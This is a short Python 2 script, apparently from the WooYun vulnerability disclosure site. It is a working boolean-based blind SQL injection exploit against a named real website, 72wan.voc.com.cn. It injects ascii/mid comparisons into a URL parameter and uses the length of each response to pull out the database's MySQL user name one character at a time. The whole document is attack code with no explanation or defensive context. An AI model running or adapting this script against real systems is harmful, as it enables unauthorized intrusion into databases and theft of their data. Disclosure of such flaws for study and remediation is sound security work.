WooYun.org

import httplib
import time
import string
import sys
import random
import urllib
headers = {'User-Agent': 'Mozilla/5.0 Chrome/28.0.1500.63',}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,21):
    for payload in payloads:
        conn = httplib.HTTPConnection('72wan.voc.com.cn', timeout=4)
        s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
        conn.request(method='GET',
                     url="/?s=/Help/show/catid/44 and %s" % s,
                     headers = headers)
        html_header= conn.getresponse().read()
        length=len(html_header)
        if length>10000:
            user+=payload
            sys.stdout.write('\r[In progress] %s' % user)
            sys.stdout.flush()
            break
        else:
            print '.',
            conn.close()
            
print '\n[Done]MySQL user is', user